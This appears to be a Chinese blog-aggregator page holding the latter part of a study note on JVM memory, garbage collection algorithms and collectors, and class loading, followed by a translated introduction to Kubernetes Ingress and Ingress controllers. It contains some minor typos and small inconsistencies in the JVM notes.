JDK的NIO模块提供的基于Channel与Buffer的I/O操作方式就是基于堆外内存实现的,NIO模块通过调用Native函数库直接在操作系统上分配堆外内存,然后使用java.nio.DirectByteBuffer对象作为这块内存的引用 对内存进行操作。 这样可以加快复制速度,因为堆内数据刷新到远程时,会先复制到直接内存,然后再发送,可以减少堆内存和直接内存的来回复制影响性能,因此堆外内存在高并发应用场景下被广泛使用( Ehcache,Netty、Flink、HBase、Hadoop都有用到堆外内存)。 4 JVM的运行时内存(堆) JVM的运行时内存也叫作JVM堆,从GC的角度可以将JVM堆分为新生代、老年代和永久代。其中新生代默认占1/3堆空间,老年代默认占2/3堆空间,永久代占非常少的堆空间。新生代又分为Eden区、ServivorFrom区和ServivorTo区,Eden区默认占8/10新生代空间,ServivorFrom区和ServivorTo区默认分别占1/10新生代空间。 4.1 新生代 JVM新创建的对象(除了大对象外)会被存放在新生代,默认占1/3堆内存空间。由于JVM会频繁创建对象,所以新生代会频繁触发MinorGC进行垃圾回收。 新生代又分为Eden区、ServivorTo区和ServivorFrom区 ◎Eden区:Java新创建的对象首先会被存放在Eden区,如果新创建的对象属于大对象,则直接将其分配到老年代。大对象的定义和具体的JVM版本、堆大小和垃圾回收策略有关,一般为2KB~128KB,可通过XX:PretenureSizeThreshold设置其大小。在Eden区的内存空间不足时会触发GC。 ◎ServivorTo区:保留上一次GC时的幸存者。 ◎ServivorFrom区: 上一次GC的幸存者,作为这一次GC的被扫描者。 新生代的GC过程叫作MinorGC,采用复制算法实现,具体过程如下。 (1)Eden区内存空间不足会触发GC (2)扫描Eden区和ServivorFrom区进行GC回收 (3)将存活的对象复制到ServivorTo区(如果某对象的年龄达到老年代的标准(对象晋升老年代的标准由XX:MaxTenuringThreshold设置,默认为15),则将其复制到老年代。如果ServivorTo区的内存空间不够,则也直接将其复制到老年代;如果对象属于大对象(大小为2KB~128KB的对象属于大对象,例如通过XX:PretenureSizeThreshold=2097152设置大对象为2MB,1024×1024×2),则也直接将其复制到老年代) (4)将现有ServivorTo区的存活的对象年龄加1 (5)清空Eden区和ServivorFrom区中的对象 (6)将ServivorTo区和ServivorFrom区互换(原来的ServivorTo区成为下一次GC时的ServivorFrom区) 4.2 老年代 老年代主要存放有长生命周期的对象和大对象。老年代的GC过程叫作MajorGC。在老年代,对象比较稳定,MajorGC不会被频繁触发。在进行MajorGC前,JVM会进行一次MinorGC,在MinorGC过后仍然出现老年代空间不足或无法找到足够大的连续空间分配给新创建的大对象时,会触发MajorGC进行垃圾回收,释放JVM的内存空间。MajorGC采用标记清除算法,该算法首先会扫描所有对象并标记存活的对象,然后回收未被标记的对象,并释放内存空间。因为要先扫描老年代的所有对象再回收,所以MajorGC的耗时较长。MajorGC的标记清除算法容易产生内存碎片。在老年代没有内存空间可分配时,会抛出Out Of Memory异常。 报错误的原因是因为执行垃圾收集的时间比例太大, 有效的运算量太小。默认情况下, 如果GC花费的时间超过 98%, 并且GC回收的内存少于 2%, JVM就会抛出这个错误。 4.3 永久代 永久代指内存的永久保存区域,主要存放Class和Meta(元数据)的信息。Class在类加载时被放入永久代。永久代和老年代、新生代不同,GC不会在程序运行期间对永久代的内存进行清理,这也导致了永久代的内存会随着加载的Class文件的增加而增加,在加载的Class文件过多时会抛出Out OfMemory异常,比如Tomcat引用Jar文件过多导致JVM内存不足而无法启动。需要注意的是,在Java 8中永久代已经被元数据区(也叫作元空间)取代。元数据区的作用和永久代类似,二者最大的区别在于:元数据区并没有使用虚拟机的内存,而是直接使用操作系统的本地内存。因此,元空间的大小不受JVM内存的限制,只和操作系统的内存有关。在Java 8中,JVM将类的元数据放入本地内存(Native Memory)中,将常量池和类的静态变量放入Java堆中,这样JVM能够加载多少元数据信息就不再由JVM的最大可用内存(MaxPermSize)空间决定,而由操作系统的实际可用内存空间决定。 5.垃圾回收与算法 5.1 如何确定是垃圾? Java采用引用计数法和可达性分析来确定对象是否应该被回收,其中,引用计数法容易产生循环引用的问题,可达性分析通过根搜索算法(GC RootsTracing)来实现。根搜索算法以一系列GC Roots的点作为起点向下搜索,在一个对象到任何GCRoots都没有引用链相连时,说明其已经死亡。根搜索算法主要针对栈中的引用、方法区中的静态引用和JNI中的引用展开分析,如图1-6所示。 5.1.1 引用计数法 在Java中如果要操作对象,就必须先获取该对象的引用,因此可以通过引用计数法来判断一个对象是否可以被回收。在为对象添加一个引用时,引用计数加1;在为对象删除一个引用时,引进计数减1;如果一个对象的引用计数为0,则表示此刻该对象没有被引用,可以被回收。引用计数法容易产生循环引用问题。循环引用指两个对象相互引用,导致它们的引用一直存在,而不能被回收。 Object1与Object2互为引用,如果采用引用计数法,则Object1和Object2由于互为引用,其引用计数一直为1,因而无法被回收。 5.1.2 可达性分析 为了解决引用计数法的循环引用问题,Java还采用了可达性分析来判断对象是否可以被回收。具体做法是首先定义一些GC Roots对象,然后以这些GCRoots对象作为起点向下搜索,如果在GC roots和一个对象之间没有可达路径,则称该对象是不可达的。不可达对象要经过至少两次标记才能判定其是否可以被回收,如果在两次标记后该对象仍然是不可达的,则将被垃圾收集器回收。 5.2 常用的垃圾回收算法 Java中常用的垃圾回收算法有标记清除(Mark-Sweep)、复制(Copying)、标记整理(Mark-Compact)和分代收集(GenerationalCollecting)这4种垃圾回收算法。 5.2.1标记清除算法、 标记清除算法是基础的垃圾回收算法,其过程分为标记和清除两个阶段。在标记阶段标记所有需要回收的对象,在清除阶段清除可回收的对象并释放其所占用的内存空间 由于标记清除算法在清理对象所占用的内存空间后并没有重新整理可用的内存空间,因此如果内存中可被回收的小对象居多,则会引起内存碎片化的问题,继而引起大对象无法获得连续可用空间的问题。 5.2.2 复制算法 复制算法是为了解决标记清除算法内存碎片化的问题而设计的。复制算法首先将内存划分为两块大小相等的内存区域,即区域1和区域2,新生成的对象都被存放在区域1中,在区域1内的对象存储满后会对区域1进行一次标记,并将标记后仍然存活的对象全部复制到区域2中,这时区域1将不存在任何存活的对象,直接清理整个区域1的内存即可。 复制算法的内存清理效率高且易于实现,但由于同一时刻只有一个内存区域可用,即可用的内存空间被压缩到原来的一半,因此存在大量的内存浪费。同时,在系统中有大量长时间存活的对象时,这些对象将在内存区域1和内存区域2之间来回复制而影响系统的运行效率。因此,该算法只在对象为“朝生夕死”状态时运行效率较高。 5.2.3标记整理算法 标记整理算法结合了标记清除算法和复制算法的优点,其标记阶段和标记清除算法的标记阶段相同,在标记完成后将存活的对象移到内存的另一端,然后清除该端的对象并释放内存。 5.2.4分代收集算法 无论是标记清除算法、复制算法还是标记整理算法,都无法对所有类型(长生命周期、短生命周期、大对象、小对象)的对象都进行垃圾回收。因此,针对不同的对象类型,JVM采用了不同的垃圾回收算法,该算法被称为分代收集算法。分代收集算法根据对象的不同类型将内存划分为不同的区域,JVM将堆划分为新生代和老年代。新生代主要存放新生成的对象,其特点是对象数量多但是生命周期短,在每次进行垃圾回收时都有大量的对象被回收;老年代主要存放大对象和生命周期长的对象,因此可回收的对象相对较少。因此,JVM根据不同的区域对象的特点选择了不同的算法。目前,大部分JVM在新生代都采用了复制算法,因为在新生代中每次进行垃圾回收时都有大量的对象被回收,需要复制的对象(存活的对象)较少,不存在大量的对象在内存中被来回复制的问题,因此采用复制算法能安全、高效地回收新生代大量的短生命周期的对象并释放内存。JVM将新生代进一步划分为一块较大的Eden区和两块较小的Servivor区,Servivor区又分为ServivorFrom区和ServivorTo区。JVM在运行过程中主要使用Eden区和ServivorFrom区,进行垃圾回收时会将在Eden区和ServivorFrom区中存活的对象复制到ServivorTo区,然后清理Eden区和ServivorFrom区的内存空间。 老年代主要存放生命周期较长的对象和大对象,因而每次只有少量非存活的对象被回收,因而在老年代采用标记清除算法。在JVM中还有一个区域,即方法区的永久代,永久代用来存储Class类、常量、方法描述等。在永久代主要回收废弃的常量和无用的类。JVM内存中的对象主要被分配到新生代的Eden区和ServivorFrom区,在少数情况下会被直接分配到老年代。在新生代的Eden区和ServivorFrom区的内存空间不足时会触发一次GC,该过程被称为MinorGC。在MinorGC后,在Eden区和ServivorFrom区中存活的对象会被复制到ServivorTo区,然后Eden区和ServivorFrom区被清理。如果此时在ServivorTo区无法找到连续的内存空间存储某个对象,则将这个对象直接存储到老年代。若Servivor区的对象经过一次GC后仍然存活,则其年龄加1。在默认情况下,对象在年龄达到15时,将被移到老年代。 5.2.5分区收集算法 分区算法将整个堆空间划分为连续的大小不同的小区域,对每个小区域都单独进行内存使用和垃圾回收,这样做的好处是可以根据每个小区域内存的大小灵活使用和释放内存。分区收集算法可以根据系统可接受的停顿时间,每次都快速回收若干个小区域的内存,以缩短垃圾回收时系统停顿的时间,最后以多次并行累加的方式逐步完成整个内存区域的垃圾回收。如果垃圾回收机制一次回收整个堆内存,则需要更长的系统停顿时间,长时间的系统停顿将影响系统运行的稳定性。 5.3 java中垃圾收集器 Java堆内存分为新生代和老年代:新生代主要存储短生命周期的对象,适合使用复制算法进行垃圾回收;老年代主要存储长生命周期的对象,适合使用标记整理算法进行垃圾回收。因此,JVM针对新生代和老年代分别提供了多种不同的垃圾收集器,针对新生代提供的垃圾收集器有Serial、ParNew、Parallel Scavenge,针对老年代提供的垃圾收集器有Serial Old、Parallel Old、CMS,还有针对不同区域的G1,ZGC分区收集算法。 1. Serial (新生代单线程复制算法) 针对新生代的垃圾回收器,它是单线程执行的,是一款串行的垃圾回收器,采用的是复制算法。它的单线程并不仅仅指它在进行垃圾回收时是单线程或者单处理器执行,更深的含义是它在垃圾回收时,需要暂停其他所有的线程,造成 STW。 当 JVM 处于客户端模式下时,Serial 是默认的垃圾回收器,它的优点是简单高效。在内存资源受限的环境下,Serial 垃圾回收器相比其他垃圾回收器,它所占用的内存更小。对于单处理器的场景,Serial 处理器由于是单线程的,它省去了线程之间的资源竞争,因此会更加高效。 当使用参数 「-XX:+UseSerialGC」时,在开启使用Serial垃圾回收器同时,老年代的垃圾回收器为Serial Old。 2.Serial Old(老年代单线程标记整理算法) 和 Serial 一样,Serial Old 也是单线程执行的,是一款串行的垃圾回收器,不同的是 Serail Old 回收的是老年代区域,采用的算法是标记-压缩(整理)算法。在进行垃圾回收时,同样也会造成 STW 的现象。 3.ParNew(新生代多线程复制算法) 针对新生代区域的垃圾回收器,它是 Serial 垃圾收集器的多线程版本,即它是一款并行的垃圾回收器,支持多个垃圾回收线程同时并行回收垃圾,使用的也是复制算法。ParNew 的大部分参数配置和 Serial 收集器一样,但额外多了部分参数,如:可以通过参数 「-XX:ParallelGCThreads」 来指定并行的垃圾回收的线程个数,默认情况下,垃圾回收线程的个数与处理器的个数相等。在单处理器的系统中,ParNew 的性能并不一定比 Serial 好,因为线程的切换需要额外耗费 CPU 资源。 可以使用参数 「-XX:+UseParNewGC」 来开启使用 ParNew 进行垃圾回收。 ParNew 可以和 Serial Old 或者 CMS 搭配使用,然而从 JDK9 开始,官方已经移除了 ParNew 和 Serial Old 的组合使用方式,同时 JDK9 中将 CMS 标记为 Deprecated 状态,在 JDK14 中彻底移除 CMS,这就导致了 ParNew 将处于一个十分尴尬的地位,在高版本中既不能和 Serial Old 搭配使用,也将在未来无法和 CMS 搭配使用,这就导致了 ParNew 这款垃圾回收器必然消失在历史的舞台。 4.Parallel Scavenge (新生代多线程复制算法) 针对新生代的并行的垃圾回收器,它和 ParNew 虽然都是并行、针对新生代,但是它们的区别很大,Parallel Scavenge 是一款「吞吐量优先」的垃圾回收器。适用于那些期望尽可能的利用 CPU 资源、尽快完成程序的运算任务以及不太注重用户交互行为的场景。 Parallel Scavenge 提供了两个参数来精准地控制吞吐量,分别是 「MaxGCPauseMillis」 和 「GCTimeRatio」。 MaxGCPauseMillis 表示的是每次进行 GC 时,系统的最大停顿时间,如果配置了该参数,那么 JVM 在每次进行垃圾回收时,它会尽可能的将停顿时间控制在 MaxGCPauseMillis 之内。该参数并不是配置的越小越好,如果配置得很小,那么 JVM 可能会为了达到停顿时间控制在 MaxGCPauseMillis 之内的目的,选择以减小新生代区域的大小为代价,毕竟每次回收 300M 的空间所花的时间肯定比 500M 的短。「而 JVM 将新生代的内存区域调小后,带来的后果就是垃圾回收进行得更加频繁了,最后会导致系统的吞吐量下降」。通常情况下,我们无法精准地把控每次垃圾回收需要停顿的时间,所以该参数需要慎用,一不小心,配置的不合理,可能适得其反。 GCTimeRatio 表示的是每次 GC 的时间占用的比率是多少(具体计算方是:GCTimeRatio = 用户线程运行时间/ GC 线程运行时间),例如:如果 GCTimeRatio 参数的值配置的 19,那么 GC 运行的时间占总时间的 5%(1/(1+19))。JVM 通过这个参数来达到控制系统吞吐量的目的。 另外 JVM 还提供了一个参数,叫做「UseAdpativeSizePolicy」,它表示的是让 JVM「根据系统的运行情况来动态调整」新生代(Eden、S0、S1)、老年代的大小,我们只需要设置好最基本的内存参数以及 MaxGCPauseMillis(最大停顿时间)或者 GCTimeRatio(目标吞吐量)即可,不需要设置-XX:Xmn(新生代的内存大小)、-XX:SurvivorRatio (Surivivior区域的比例)等参数了,JVM 会根据系统运行时监控到相关信息,来动态进行调整。Parallel Scavenge 支持动态调整策略,这也算是它和 ParNew 收集器的另一大不同之处了。 5.Parallel Old (老年代多线程标记整理算法) 收集器的老年代版本,也是支持多线程的并行执行,它底层是基于标记-压缩(整理)算法来实现的。在 JDK6 中才开始提供,在 Parallel Old 出现之前,Parallel Scavenge 收集器只能配合着 Serial Old 使用,无法与 CMS 垃圾回收器配合使用,这是因为 Parallel Scavenge 与 CMS、Serial、ParNew 这些收集器的底层框架不一样,无法兼容导致的。而 Serial Old 又是单线程的垃圾收集器,在多处理器的场景下,性能不高,白白浪费了 Parallel Scavenge 并行的优点,好车配劣马,所以在 Parallel Old 出现之前,Parallel Scavenge 一直处于比较鸡肋的地位。目前,Parallel Scavenge 和 Parallel Old 的组合,其垃圾回收效果不错,是 JDK8 中默认的垃圾回收组合方式。 6.CMS(老年代多线程标记清除算法) CMS 的全称是 Concurrent-Mark-Sweep 的缩写,翻译过来就是并发标记清除,它是一款「以低停顿时间为目标」的垃圾回收器,特点是低延时。 CMS 的工作原理大致分为四个步骤:初始标记、并发标记、重新标记、并发清除。 使用参数:「-XX:+UseConcMarkSweepGC」 即可开启使用 CMS 垃圾回收器。 「初始标记」指的是仅仅只标记出和 GC Roots 直接关联的对象,这个过程需要暂停所有的用户线程,因此会产生 STW。由于这一步仅仅标记和 GC Roots 直接关联的对象,因此这一步耗费的时间会很短,造成的停顿时间会很短。 「并发标记」。这一步是从和 GC Roots 直接关联的对象出发,开始遍历整个对象图引用链,这个过程是 GC 线程和用户线程并发执行的,因此不会造成 STW。这一步因为需要遍历所有对象的引用链,所以耗费时间较长,由于不会造成 STW,即使耗时较长,也没有关系。 「重新标记」。在并发标记阶段,用户线程仍然在运行,因此会改变对象之间的引用关系,那么在重新标记阶段,就是对并发标记的结果进行修正。把那些怀疑是垃圾,而实际不是垃圾的对象重新标记为存活对象。这一步需要暂停所有的用户线程,因此会造成 STW 的现象,这一步的耗时会比初始标记阶段长一些,但是远小于并发标记阶段的耗时。 「并发清除」。这一阶段是垃圾回收线程和用户线程一起并发执行,垃圾回收线程进行垃圾对象的清除,这一步耗时较长,但不会造成 STW。 整体上来看,CMS 垃圾回收器只有在初始标记阶段和重新标记阶段会造成用户线程的停顿,但是这两步都耗时较短,因此整体上,CMS 进行垃圾回收时,是低延时的。 7.G1(新生代和老年代多线程分区标记整理算法) G1是一个并行回收器,它把堆内存分割为很多不相关的区域(Region)(物理上不连续的)。使用不同的 Region来表示Eden、S0区,S1区,Old区等。 独立使用这些区域的内存资源并且跟踪这些区域的垃圾收集进度,同时在后台维护一个优先级列表,在垃圾回收过程中根据系统允许的最长垃圾收集时间,优先回收垃圾最多的区域。 在JDK1.7正式启用,是JDK9以后默认的垃圾回收器,被Oracle官方称为“全功能的垃圾收集器” 优点: 1. 并行与并发 并行性:G1在回收期间,可以有多个GC线程同时工作(不再是一个GC线程),有效利用多核计算能力,此时用户线程处于STW 并发性:G1拥有与应用程序交替执行的能力,部分工作可以和应用程序同时执行,因此,一般来说,不会在整个回收阶段发生完全阻塞应用程序的情况 2. 分区收集,支持新老代 同时兼顾年轻代和老年代。将堆空间分为若干个小区域(Region),这些区域中包含了逻辑上的年轻代和老年代。 3.可预测的停顿时间模型 回收时间可预测性,每次根据允许的时间优先回收价值最大的Region,尽可能提高收集效率 配置参数 -XX:+UseG1GC:手动指定使用G1收集器执行内存回收任务。 -XX:G1HeapRegionSize:设置每个Region的大小,大小区间只能是1M、2M、4M、8M、16M和32M , 如果G1HeapRegionSize为默认值,则在堆初始化时计算Region的实践大小 。 -XX:MaxGCPauseMillis:设置期望达到的最大GC停顿时间指标(JVM会尽力实现,但不保证达到),默认值是200ms -XX:ParallelGCThread:设置STW工作线程数的值,最多设置为8 -XX:ConcGCThreads:设置并发标记的线程数。 -XX:InitiatingHeapoccupancyPercent:设置触发并发GC周期的Java堆占用率阙值。超过此值,就触发GC。默认值是45。 文章:https://mp.weixin.qq.com/s/7CWbARimO5rFBHq4NtAt5Q 8.最前沿的低延时垃圾回收技术——ZGC,Shenandoah ZGC 全称为 Z Garbage Collector,一款在保证吞吐量的情况下,追求低延时的垃圾回收器。 ZGC 是目前垃圾回收器中最前沿的技术,可惜的是目前 ZGC 还没有被正式使用,一直处于实验状态(Experiment)。从 JDK11 开始,被加入到了 OpenJDK 中,到目前 2020 年 4 月份发布的最新 Oracle JDK14 中,ZGC 依旧处于实验状态。 可以通过添加 JVM 参数:-XX:+UnlockExperimentalVMOptions 进行解锁实验状态。 Shenandoah 的目标是将垃圾回收的停顿时间控制在 10ms 以内,这意味着 Shenandoah 不仅需要在并发标记阶段实现并发,还需要在标记清除阶段实现并发。 Shenandoah 垃圾回收器是 RedHat 公司发明的,非 Oracle 公司官方实现,不是 Oracle 的亲儿子,因此在一定程度上遭到了“排挤”,只在开源的 OpenJDK12 中开始出现,而在商业版的 Oracle JDK12 中则没有。 ZGC文章:https://mp.weixin.qq.com/s/FkG0iweym0q8gGDx2b8iMg Shenandoah文章:https://mp.weixin.qq.com/s/J9lOoihkfUKvJpt-7GSxXw 9.总结 随着JDK的不断更新,垃圾回收器的效率也越来越高,每一次JDK大版本的更新,必然会对垃圾回收器更新,截止到目前,JDK14可以使用的最新的垃圾回收器ZGC,在 JDK9 中,取消了 ParNew 与 Serial Old、Serial 与 CMS 的搭配组合,并且 CMS 被标记 Deprecated,在 JDK14 中被彻底移除。 评估GC性能的重要指标: 吞吐量:运行用户代码的时间占总运行时间的比例 暂停时间[STW]:执行GC线程时,用户线程被暂停的时间 内存占用:Java堆区所占的内存大小 吞吐量 吞吐量就是CPU运行用户代码的时间与CPU总消耗时间的比值,即: 吞吐量 = 运行用户代码时间 /(运行用户代码时间 + 垃圾收集时间) 吞吐量高是降低了内存回收的执行频率 比如:虚拟机总共运行了100分钟,其中垃圾收集花掉1分钟,那吞量就是99% 暂停时间 暂停时间是指一个时间段内应用程序线程暂停,让GC线程执行的状态,例如: GC期间100毫秒的暂停时间,意味着在这100毫秒期间内没有应用程序线程是活动的 暂停时间短,但是频繁的执行内存回收 这两个指标本质上是互斥的,我们只能在最大吞吐量优先的情况下,降低停顿时间。 想知道自己的GC算法,可以使用 java -XX:+PrintCommandLineFlags -version 查看 我的14默认的是G1 6 JVM的类加载机制 6.1 JVM的类加载阶段 JVM的类加载分为5个阶段:加载、验证、准备、解析、初始化。在类初始化完成后就可以使用该类的信息,在一个类不再被需要时可以从JVM中卸载。 1.加载 指JVM读取Class文件,并且根据Class文件描述创建java.lang.Class对象的过程。类加载过程主要包含将Class文件读取到运行时区域的方法区内,在堆中创建java.lang.Class对象,并封装类在方法区的数据结构的过程,在读取Class文件时既可以通过文件的形式读取,也可以通过jar包、war包读取,还可以通过代理自动生成Class或其他方式读取。 2.验证 主要用于确保Class文件符合当前虚拟机的要求,保障虚拟机自身的安全,只有通过验证的Class文件才能被JVM加载。 3.准备 主要工作是在方法区中为类的变量分配内存空间并设置不同数据类型的静态变量的默认值。 4.解析 JVM会将常量池中的符号引用替换为直接引用。 5.初始化 初始化阶段,执行类构造器<clinit>()方法的过程 <clinit>()方法是由编译器自动收集类中的所有类变量的赋值动作和静态语句块(static{}块)中的语句合并产生的。 JVM规定,只有在父类的<client>方法都执行成功后,子类中的<client>方法才可以被执行。 在一个类中既没有静态变量赋值操作也没有静态语句块时,编译器不会为该类生成<client>方法。 哪些情况会进行类的初始化?主动引用 1.创建类的实例 2.访问类的静态变量 3.访问类的静态方法 4.反射(Class.forName) 5.子类初始化会先对父类初始化 6.虚拟机启动时,定义了main()方法的会先初始化 哪些情况不会进行类初始化?被动引用 1. 子类调用父类的静态变量,子类不会被初始化。只有父类被初始化。对于静态字段,只有直接定义这个字段的类才会被初始化. 2. 通过数组定义来引用类,不会触发类的初始化 3. 访问类的常量,不会初始化类 对于类的初始化我们搞点小demo瞧瞧,上东西~~ 6.2 类加载器 JVM提供了3种类加载器,分别是启动类加载器、扩展类加载器和应用程序类加载器。 (1)启动类加载器:负责加载JAVA_HOME/lib目录中的类库,或通过-Xbootclasspath参数指定路径中被虚拟机认可的类库。 (2)扩展类加载器:负责加载JAVA_HOME/lib/ext目录中的类库,或通过java.ext.dirs系统变量加载指定路径中的类库。 (3)应用程序类加载器:负责加载用户路径(classpath)上的类库。 除了上述3种类加载器,我们也可以通过继承java.lang.ClassLoader实现自定义的类加载器。 6.3 双亲委派机制 JVM通过双亲委派机制对类进行加载。双亲委派机制指一个类在收到类加载请求后不会尝试自己加载这个类,而是把该类加载请求向上委派给其父类去完成,其父类在接收到该类加载请求后又会将其委派给自己的父类,以此类推,这样所有的类加载请求都被向上委派到启动类加载器中。若父类加载器在接收到类加载请求后发现自己也无法加载该类(通常原因是该类的Class文件在父类的类加载路径中不存在),则父类会将该信息反馈给子类并向下委派子类加载器加载该类,直到该类被成功加载,若找不到该类,则JVM会抛出ClassNotFoud异常。双亲委派类加载机制的类加载流程如下。 (1)将自定义加载器挂载到应用程序类加载器。 (2)应用程序类加载器将类加载请求委托给扩展类加载器。 (3)扩展类加载器将类加载请求委托给启动类加载器。 (4)启动类加载器在加载路径下查找并加载Class文件,如果未找到目标Class文件,则交由扩展类加载器加载。 (5)扩展类加载器在加载路径下查找并加载Class文件,如果未找到目标Class文件,则交由应用程序类加载器加载。 (6)应用程序类加载器在加载路径下查找并加载Class文件,如果未找到目标Class文件,则交由自定义加载器加载。 (7)在自定义加载器下查找并加载用户指定目录下的Class文件,如果在自定义加载路径下未找到目标Class文件,则抛出ClassNotFoud异常。双亲委派机制的核心是保障类的唯一性和安全性。例如在加载rt.jar包中的java.lang.Object类时,无论是哪个类加载器加载这个类,最终都将类加载请求委托给启动类加载器加载,这样就保证了类加载的唯一性。如果在JVM中存在包名和类名相同的两个类,则该类将无法被加载,JVM也无法完成类加载流程。

优秀的个人博客,低调大师

Kubernetes Ingress简单入门

本文转载自Rancher Labs 不知道你是否注意到一个奇怪的现象,尽管Kubernetes Ingress API仍然处于beta状态,但是已经有许多公司使用它来暴露Kubernetes服务。从事相关项目的工程师表示,Kubernetes Ingress API越来越有可能摘下其beta标签。实际上,Kubernetes Ingress API处于beta状态已经持续了几年的时间,准确来说,是在2015年秋季开始进入该阶段的。但是,漫长的beta阶段可以让Kubernetes贡献者有时间来完善规范并使其与已经搭建好的实施软件(HAProxy、NGINX、Traefik等)保持一致,从而使API标准化以反映最常见并且有需求的功能。 随着该功能GA的临近,那么现在应该是一个合适的时机可以帮助新手快速了解Ingress的工作方式。简而言之,Ingress是一个规则,可以绘制出在集群内部的服务如何弥合鸿沟,暴露到客户可以使用它的外部世界。同时,称为Ingress controller的代理在集群网络的边缘进行侦听(监视要添加的规则),并将每个服务映射到特定的URL路径或域名以供公众使用。在Kubernetes维护者开发API的同时,其他开源项目也实现了Ingress Controller并为其代理添加了自己的独特功能。 在本文中,我将介绍这些概念,并帮助你了解Ingress模式背后的驱动力。 路由问题 在Kubernetes中创建Pod时,需要为其分配selector标签,如Deployment manifest的以下片段所示: 该Deployment创建了运行Docker镜像my-app的三个副本,并为其分配app=foo标签。除了直接访问Pod,通常将它们分组在Service下,这使它们可以在单个集群IP地址上使用(但是只能在同一集群中使用)。Service充当抽象层,隐藏了pod的周期短暂特性,可以随时增加或减少或替换它们。它还可以执行基本的循环负载均衡。 例如,以下Service定义收集所有带有selector标签app = foo的Pod,并在其中平均路由流量。 但是,只能从集群内部以及运行在附近的其他Pod访问此服务。Kubernetes Operator正在努力解决如何为集群外部的客户端提供访问权限。该问题在早期就已经出现,并且将两种机制直接集成到Service规范中进行处理。编写service manifest时,包括一个名为type的字段,该字段的值为NodePort或LoadBalancer。这是一个将类型设置为NodePort的示例: NodePort类型的服务使用起来很简单。本质上,这些服务希望Kubernetes API为他们分配一个随机的TCP端口,并将其暴露到集群之外。这样做的方便之处在于,客户端可以使用该端口将集群中的任何节点作为目标,并且他们的消息将被中转到正确的位置。这就类似于你可以拨打美国境内的任何电话,而接听电话的人都会确保为你转接到合适的人。 缺点在于,该端口的值必须介于30000到32767之间,虽然这个范围安全地避开了常用端口地范围,但是与常见的HTTP端口80和HTTPS 443相比,该端口显然不是很标准。此外,随机性本身也是一个障碍,因为它意味着你事先不知道值是什么,这使得配置NAT、防火墙规则更具挑战性——尤其是需要为每项服务设置不同的随机端口。 另一个选项是将类型设置为LoadBalancer。但是,这有一些前提条件——仅当你在GKE或EKS之类的云托管环境中运行并且可以使用该云供应商的负载均衡器技术时,它才有效,因为它是自动选择并配置的。其缺点是比较昂贵,因为使用这种类型的服务会为每个服务启动一个托管的负载均衡器以及一个新的公共IP地址,这会产生额外的费用。 Ingress路由 分配一个随机端口或外部负载均衡器是很容易操作的,但也带来了独特的挑战。定义许多NodePort服务会造成随机端口混乱,而定义许多负载均衡器服务会导致需要支付比实际所需更多的云资源费用。这些情况不可能完全避免,但也许可以减少它的使用范围,甚至你只需要分配1个随机端口或1个负载均衡器就能够暴露许多内部服务。因此,这一平台需要一个新的抽象层,该层可以在入口点(entrypoint)后面整合许多服务。 那时,Kubernetes API引入了一种称为Ingress的新型manifest,它为路由问题提供了新的思路。它的工作方式是这样的:你编写一个Ingress manifest,声明你希望客户端如何路由到服务。manifest实际上并不自行执行任何操作,你必须将Ingress Controller部署到你的集群中,以监视这些声明并对其执行操作。 与其他任何应用程序一样,Ingress controller是Pod,因此它们是集群的一部分并且可以看到其他Pod。它们是使用在市场上已经发展了多年的反向代理搭建的,因此,你可以选择HAProxy Ingress Controller、NGINX Ingress Controller等。底层代理为其提供了第7层路由和负载均衡功能。不同的代理将自己的功能集放到表中。例如,HAProxy Ingress Controller不需要像NGINX Ingress Controller那样频繁地重新加载,因为它为服务器分配了slot,并使用Runtime API在运行时填充slot。这使得该Ingress Controller拥有更好的性能。 Ingress Controller本身位于集群内部,与其他Kubernetes Pod一样,也容易受到同一“监狱”的“监禁”。你需要通过NodePort或LoadBalancer类型的服务将它们暴露到外部。但是,现在你只有一个入口点,所有流量都将通过此处:一个服务连接到一个Ingress Controller,Ingress Controller依次连接到许多内部Pod。Controller具有检查HTTP请求的功能,可以根据其发现的特征(例如URL路径或域名)将客户端定向到正确的Pod。 参考这个Ingress的示例,该示例定义了URL路径/foo应该如何连接到名为foo-service的后端服务,而URL路径/bar被定向到名称为bar-service的服务。 如上文所示,你依旧需要为你的Pod设置服务,但是你不需要在Pod上设置类型字段,因为路由和负载均衡将由Ingress层处理。服务的作用被简化为以通用名称对Pod进行分组。最终,两个路径,/foo和/bar,将由一个公共IP地址和域名提供服务,例如example.com/foo 和 example.com/bar 。本质上,这是API网关模式,在API网关中,单个地址将请求路由到多个后端应用程序。 添加Ingress Controller Ingress manifest的声明式方法是你可以指定所需的内容,而无需知道如何实现。Ingress Controller的工作之一是执行,它需要监控新的ingress规则并配置其底层代理以制定相应的路由。 你可以使用Kubernetes包管理工具Helm安装HAProxy Ingress Controller。首先,通过下载Helm二进制文件并将其复制到PATH环境变量中包含的文件夹(例如/usr/local/bin/)中来安装Helm。接下来,添加HAProxy Technologies Helm库,并使用helm install命令部署Ingress Controller。 通过运行命令kubectl get service列出所有正在运行的服务来验证是否已创建Ingress Controller。 HAProxy Ingress Controller在集群的pod中运行,并使用NodePort类型的Service资源发布对外部客户端的访问。在上面显示的输出中,你可以看到为HTTP选择了端口31704,为HTTPS选择了端口32255。你还可以在端口30347上查看HAProxy信息统计页面。HAProxy Ingress Controller会提供有关流经它的流量的详细指标,因此你可以更好地观察到进入集群的流量。 在controller创建类型为NodePort的服务时,这意味着需要分配一个随机的端口并且端口编号往往很高,但是现在你只需管理几个此类端口,也就是只需管理连接到Ingress Controller的端口,无需再为每个服务创建一个端口。你也可以将其配置为使用LoadBalancer类型,只要在云端进行操作即可。它看起来如下: 总体而言,不需要管理太多Ingress Controller。安装后,它基本上会在后台执行其工作。你只需要定义Ingress manifest,controller就会立即将它们连接起来。Ingress manifest的定义与引用的服务有所区别,因此你可以控制何时暴露服务。 结 论 Ingress资源通过允许API网关样式的流量路由,整合了外部客户端如何访问Kubernetes集群中的服务。代理服务通过公共入口点(entrypoint)进行中转,你可以使用intent-driven、YAML声明来控制何时以及如何公开服务。 当Ingress API这一功能GA之后,你一定会看到这种模式变得越来越流行。当然,可能产生一些细微的变化,主要是为了使API与现有controller中已经实现的功能保持一致。其他改进可能会指导controller如何继续发展以符合Kubernetes维护者的愿景。总而言之,现在是开始使用此功能的好时机!

优秀的个人博客,低调大师

MaxCompute 入门必知

